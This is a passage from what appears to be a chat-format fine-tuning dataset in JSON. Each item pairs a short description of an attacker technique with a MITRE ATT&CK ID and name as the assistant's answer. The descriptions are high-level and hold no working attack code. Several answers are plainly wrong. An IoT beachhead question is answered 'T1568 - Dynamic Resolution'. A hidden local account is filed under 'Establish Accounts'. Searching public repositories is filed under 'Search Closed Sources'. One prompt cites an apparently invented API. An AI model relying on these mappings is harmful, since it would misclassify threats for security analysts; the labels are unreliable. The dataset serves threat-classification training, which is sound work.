                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing link directed the victim to a fake Azure portal, capturing their login credentials and MFA codes."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors execute a discovery routine that queries DNS and scans for listening services to create a network map."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries analyze the victim's public calendar events and conference schedules to map out periods of high and low business activity."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into approving MFA requests on a fake login page controlled by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy program continuously monitors for new media files and streams them to an external server on a set schedule."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors take a snapshot of a breached AWS EC2 instance to preserve the system state and facilitate persistence."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before launching its malicious code, the Trojan checks for the existence of a logged‑in user by querying the Windows session manager for recent input events."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service installed a malicious Windows service that runs a PowerShell payload at startup."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a compromised internal proxy service to tunnel data exfiltration requests, bypassing network egress controls."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script invoked \"wmic.exe\" to query system information and upload the results to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through APC injection, the threat actor writes malicious code into the address space of explorer.exe and triggers it by forcing an alertable wait."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation is performed by dynamically generating code at runtime, using reflection to invoke hidden functions."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a drive‑by target technique by exploiting a known browser flaw to deliver a payload when a user visits the infected page."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive‑by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion drops a payload into the \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" folder and uses the \"AutoElevate\" flag in its manifest to run as Administrator silently."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts C code from an Office document and runs a compiler to build a payload at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the Azure portal, the adversary starts a PowerShell remote session directly on a target virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Outlook add‑in installs a rule that automatically forwards any new mail to an external email address without the user’s knowledge."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software installs a hidden local account on the endpoint and configures it for remote login."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber espionage group buys confidential API specifications for a high‑value target's analytics platform."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence via leveraging the Office macro auto-run feature to execute a script when a document is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors conduct passive traffic analysis to infer the organization of the target's network segments and interconnections."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app on Android uses Bluetooth communication to pull exfiltrated photos from a compromised Windows PC."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation technique where the malicious script is compiled on the endpoint after the initial drop, avoiding static signatures."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issued a command to format the disk, ensuring all existing files are unrecoverable."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks DNS to point clients to a counterfeit domain controller for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application used Dynamic Data Exchange to relay data to a remote command-and-control server, disguising the traffic as inter-process messaging."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set uses APCRunThread to inject payloads into a running service by hijacking its thread execution flow."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a payload into a database trigger that executes a hidden stored procedure to elevate privileges on the host system."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden .cmd file and registers it in the LoginHook entry to run automatically after login."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits a known Windows kernel driver vulnerability to elevate their user account to SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script utilizes the \"wevtutil.exe cl\" command in a loop to purge multiple Windows event logs, covering both OS and custom logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware uses the Windows Transactional NTFS feature to map and execute a payload in memory, bypassing traditional detection methods."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware initiates a CPU‑intensive loop causing the host to freeze."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses LaZagne to dump credentials from Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet was used to exploit a known Apache vulnerability, allowing the attacker to replace the site’s content with defacement material."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using mimikatz, the threat actor retrieves plaintext passwords stored in the LSA Secrets of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool uses the dig command to query a domain for its A record, then connects to the returned IP."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved triggering cmstp.exe with a malicious configuration file to run arbitrary code under the context of an authorized system process."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor replaces the device's firmware with a compromised version, enabling persistent control before OS startup."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor examines public code repositories for misconfigured AWS keys belonging to the victim."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts an embedded, base64‑encoded script from a PDF file and decodes it before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor hijacks a high‑traffic video streaming site and injects malicious code that automatically drops a payload onto any visitor’s browser without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm uses peer-to-peer connections to automatically gather and forward stolen files to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses Emond's event-triggered execution to start a cryptominer whenever the system's CPU usage exceeds a threshold."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leveraged 'kubectl exec' to execute arbitrary commands in a compromised pod, escalating privileges within the Kubernetes cluster."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Discuss how an attacker could leverage a compromised IoT device as a beachhead for further network exploitation."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware writes stolen credentials in Base64 form to a hidden file before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the cloud provider's API to take a snapshot of a compromised virtual machine, preserving its memory and disk state for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a compromised service account to pull the latest code from a private GitLab repo, exfiltrating the repository contents."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider runs a local script that opens thousands of threads targeting a key application, depleting CPU and memory on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group installs a forged code‑signing certificate on compromised hosts to sign malicious binaries and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a tampered .msc file opened with mmc.exe to execute a payload with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a covert GitLab project and pushes harvested credentials into the repository to extract them over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit an unsupported cloud region to hide C2 traffic within legitimate cloud service endpoints."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deploy a scheduled task in Amazon EKS using a CronJob resource to execute a ransomware payload at a specific date and time."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the configuration of a compromised virtual machine in the cloud, changing its instance type to a larger size to gain more processing power for malicious tasks."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors edit the Group Policy's Software Installation settings to silently install a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document triggers a VBScript that calls the WScript.Shell SendKeys method to open the Snipping Tool and save a screenshot."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits public PDF documents on the target's site to extract embedded metadata revealing network details."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the list of scheduled tasks from the Windows Task Scheduler."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial foothold, the intruder searches the registry for saved Outlook credentials and uses them to access the victim’s mailbox."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident response team observed that the attacker altered the PAM stack to include a backdoor module that logs successful and failed login attempts."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a hidden compute instance in an unallocated AWS GovCloud region to evade detection and later uses it to stage data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers stole a code signing private key from a build server and used it to sign a ransomware payload, evading detection by security tools that trust signed binaries."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a crafted .lnk file placed in the Startup folder to achieve privilege escalation when the system processes it."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects code into the system's firmware update process to gain control before the OS starts."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a malicious Azure AD account with global admin rights for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team executes a series of piped commands in Bash to exfiltrate data over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a VBScript that modifies the Registry to achieve persistence, then uses it to launch PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops its payload into a system folder with the hidden attribute set, making the file invisible in normal directory listings."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dropped a DLL that was packed with a proprietary packer, obscuring its imports and strings to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up an external proxy chain using compromised web servers to hide the origin of ransomware command traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool was used to query Azure Managed HSM and extract encryption keys used for protecting sensitive workloads."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign includes a data‑exfiltration stage that collects financial statements and sends them to the attackers for future fraud."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ macro hijacking by stomping existing VBA code, thereby concealing their malicious activities."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
